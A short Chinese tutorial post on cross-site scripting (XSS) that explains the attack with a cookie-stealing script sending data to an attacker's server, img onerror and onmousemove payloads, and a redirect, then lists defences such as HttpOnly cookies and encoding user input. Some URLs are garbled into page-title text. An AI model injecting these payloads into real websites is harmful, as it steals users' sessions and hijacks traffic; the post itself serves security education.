网络安全-XSS攻击

XSS全称Cross Site Scripting,不叫css是为了和样式表区分开,其核心原理就是在目标网页中执行恶意的 js 代码

举个常见例子: A 网站有个用户评论的功能,假设 A 网站未做任何预防XSS的措施,攻击者可以通过输入以下内容:'

<script>

    const cookie = document.cookie;

    // ajax 将cookie发送到攻击者自己的服务器(伪代码)

    ajax('Attacker - The Domain Name Attacker.com is Now For Sale.', cookie);

</script>

A网站将该内容保存到服务器并展示在前端页面,这时用户A刚好访问该网页的该评论页面,用户A的浏览器识别script,直接执行scirpt中的代码,最终用户A关于A网站的cookie全部被发送到了攻击者的服务器上了,恰巧A网站的登录凭证都是放在cookie中的,攻击者此时完全可以以用户A的身份登录A网站。

XSS的攻击方式

除了上面提到的script方式,还有<img onerror />之类的也可以利用,如:

// 利用img的onerror中可以执行脚本

<img src='' onerror='alert("hey!")'>

// 鼠标只要在该标签上移动就会执行

<a onmousemove='do something here'>

<div onmousemove=do something here'>

XSS的攻击意图

窃取目标网页中的cookie值

可通过服务端设置cookie为http only(需要浏览器支持,毕竟cookie的所有权属于浏览器)。

劫持流量实现恶意跳转

插入类似如下代码:

<script>window.location.href="百度一下,你就知道";</script>

相当于偷目标网站的流量。

防范手段

过滤<script>、<img>、<a>等标签

对用户上传的内容进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

2021网络安全渗透测试CTF学习资料&笔记(更新中)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容